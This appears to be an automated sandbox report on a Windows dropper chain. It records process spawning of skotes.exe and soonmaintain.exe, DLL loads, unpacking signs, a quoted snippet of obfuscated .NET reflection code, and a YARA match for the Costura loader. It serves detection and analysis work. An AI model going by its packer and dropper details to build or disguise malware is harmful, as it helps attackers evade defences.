Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Process created: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe "C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe"
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Process created: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe "C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe"
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe "C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe"
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Process created: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe "C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Process created: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe "C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe "C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Jump to behavior

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Section loaded: feclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Section loaded: advpack.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Section loaded: windows.storage.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Idau8QuYa3.exe

Static file information: File size 1906688 > 1048576

Source: Idau8QuYa3.exe

Static PE information: Raw size of muxysgpc is bigger than: 0x100000 < 0x1a7600

Source:	Binary string: wextract.pdb source: f5a1a3b065.exe, 0000000A.00000002.2932789444.00007FF6D80D9000.00000002.00000001.01000000.0000000B.sdmp, f5a1a3b065.exe, 0000000A.00000000.2727707842.00007FF6D80D9000.00000002.00000001.01000000.0000000B.sdmp, f5a1a3b065.exe.8.dr, random[1].exe.8.dr
Source:	Binary string: wextract.pdbGCTL source: f5a1a3b065.exe, 0000000A.00000002.2932789444.00007FF6D80D9000.00000002.00000001.01000000.0000000B.sdmp, f5a1a3b065.exe, 0000000A.00000000.2727707842.00007FF6D80D9000.00000002.00000001.01000000.0000000B.sdmp, f5a1a3b065.exe.8.dr, random[1].exe.8.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Unpacked PE file: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack :EW;.rsrc:W;.idata :W;frhnetpr:EW;tbiteucn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;frhnetpr:EW;tbiteucn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Unpacked PE file: 5.2.15E9YUDKFQLPC478BWEBATDC87A.exe.830000.0.unpack :EW;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.1c0000.0.unpack :EW;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.1c0000.0.unpack :EW;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 8.2.skotes.exe.1c0000.0.unpack :EW;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW;

.NET source code contains method to dynamically call methods (often used by packers)

Source: 11.2.soonmaintain.exe.1264bbdc900.1.raw.unpack, RDXmfvNIcv3GyHFlUY9.cs

.Net Code: Type.GetTypeFromHandle(vJhjGdxJa8jwvel6pfK.NrgIrll2In(16777347)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(vJhjGdxJa8jwvel6pfK.NrgIrll2In(16777252)),Type.GetTypeFromHandle(vJhjGdxJa8jwvel6pfK.NrgIrll2In(16777284))})

.NET source code contains potential unpacker

Source: 11.2.soonmaintain.exe.12654420000.7.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 11.2.soonmaintain.exe.12654420000.7.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 11.2.soonmaintain.exe.12654420000.7.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 11.2.soonmaintain.exe.12654420000.7.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 11.2.soonmaintain.exe.12654420000.7.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 11.2.soonmaintain.exe.1264bb21af8.2.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 11.2.soonmaintain.exe.1264bb21af8.2.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 11.2.soonmaintain.exe.1264bb21af8.2.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 11.2.soonmaintain.exe.1264bb21af8.2.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 11.2.soonmaintain.exe.1264bb21af8.2.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 11.2.soonmaintain.exe.126543c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2945928441.00000126543C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: soonmaintain.exe PID: 396, type: MEMORYSTR

Source: random[1].exe.8.dr

Static PE information: 0xAE1BC4F8 [Tue Jul 25 12:18:00 2062 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe.0.dr	Static PE information: real checksum: 0x50b374 should be: 0x509bc7
Source: 15E9YUDKFQLPC478BWEBATDC87A.exe.0.dr	Static PE information: real checksum: 0x3237ff should be: 0x31ce49
Source: skotes.exe.5.dr	Static PE information: real checksum: 0x3237ff should be: 0x31ce49
